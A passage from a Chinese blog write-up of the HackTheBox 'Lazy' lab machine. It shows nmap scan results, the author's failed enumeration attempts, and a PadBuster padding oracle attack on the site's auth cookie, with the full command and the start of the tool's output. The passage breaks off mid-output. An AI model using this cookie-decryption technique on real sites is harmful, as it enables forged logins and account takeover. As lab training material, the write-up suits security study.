hackthebox - lazy （考点：Padding oracle attack & 环境变量提权）

最新推荐文章于 2024-08-13 08:18:48 发布

冬萍子

最新推荐文章于 2024-08-13 08:18:48 发布

阅读量512

点赞数

本文链接：https://blog.csdn.net/weixin_45527786/article/details/106313252

版权

本文详细介绍了如何利用Padding oracle attack和环境变量提权攻陷hackthebox平台上的lazy靶机。通过扫描、web信息搜集、使用Padbuster破解加密cookie并获取管理员权限，最终通过修改环境变量实现提权，成功获得root权限。

摘要由CSDN通过智能技术生成

1 扫描

常规，22想到可能有ssh登录，80进web搜集信息

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 e1:92:1b:48:f8:9b:63:96:d4:e5:7a:40:5f:a4:c8:33 (DSA)
|   2048 af:a0:0f:26:cd:1a:b5:1f:a7:ec:40:94:ef:3c:81:5f (RSA)
|   256 11:a3:2f:25:73:67:af:70:18:56:fe:a2:e3:54:81:e8 (ECDSA)
|_  256 96:81:9c:f4:b7:bc:1a:73:05:ea:ba:41:35:a4:66:b7 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: CompanyDev

2 web信息搜集

进去注册号，登录，没价值发现
前端源码ctrl+u，没价值发现
dirbuster扫目录，没价值发现。
下载图片strings看看，没价值发现。
怀疑端口是否扫描全，重新全端口扫描，没价值发现。。
猜弱口令，没价值发现
sql注入，没价值发现。。。

是不是很捉急。。
这种情况再burp打开，抓包看看有没什么发现。
再没价值发现，那也不知道怎么搞了，只能去看别人写的wp。。

通过网站注册个号，然后登录
抓到有个auth的cookie
在这里插入图片描述
我改一改auth，再重新发送，显示invalid padding

这个叫Padding oracle attack。网上有很多科普，密码学的东西，感觉看不懂的话就用Padbuster这个工具就行了
在这里插入图片描述

3 Padbuster

没有的话apt安装
命令参考这个，blocksize先试8，默认encoding 0 。然后输进burp里的auth值
在这里插入图片描述
中间要求输入的话，按提示输入推荐的，我的是2
就读出了我之前注册的用户

命令 padbuster http://10.10.10.18/login.php LkPnSfEGH8ams7TF8ZIO%2FwlJK86QKsuI 8 -cookies auth=LkPnSfEGH8ams7TF8ZIO%2FwlJK86QKsuI -encoding 0

C:\root> padbuster http://10.10.10.18/login.php LkPnSfEGH8ams7TF8ZIO%2FwlJK86QKsuI  8 -cookies auth=LkPnSfEGH8ams7TF8ZIO%2FwlJK86QKsuI -encoding 0

+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| labs@gdssecurity.com                      |
+-------------------------------------------+

INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 1486

INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 2 ***

INFO: No error string was provided...starting response analysis

*** Response Analysis Complete ***

The following response signatures were returned:

--------------------